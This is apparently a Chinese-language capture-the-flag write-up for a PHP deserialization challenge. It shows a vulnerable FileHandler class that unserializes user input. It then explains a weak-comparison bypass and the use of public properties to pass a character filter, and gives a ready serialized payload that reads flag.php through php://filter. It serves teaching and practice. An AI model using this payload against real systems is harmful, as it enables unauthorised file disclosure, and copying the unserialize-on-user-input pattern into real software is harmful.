<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
反序列化漏洞详解_一句话木马的博客-优快云博客_反序列化漏洞
审计代码可以得知,应该要我们使用process()中的read()来读取flag,我们要用get传入str,其中obj是等于str的反序列化的值,除此之外,还需要绕过两个点,一个是__destruct(__destruct():构析函数,在对象的所有引用都被删除时或者对象都被显式销毁时调用,当对象被销毁时自动调用。)在__destruct魔术方法中,op==="2"是强比较,而process()使用的是弱比较op=="2",可以通过弱类型绕过,可以通过使用op=2来绕过,其中2是整数类型,op=2的时候op==="2"为false,op=="2"。而另一个需要绕过的地方就是is_valid()函数,is_valid()函数要求字符的ascii码必须是32-125,使用protected会在序列化后出现不可见字符\00*\00,不符合要求,使用public属性序列化不会出现不可见字符,故使用public来绕过,构造payload:
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a=new FileHandler();
echo serialize($a);
?>
运行php代码得到结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
利用get传入
在最下面发现了base64加密字符串
解密即得flag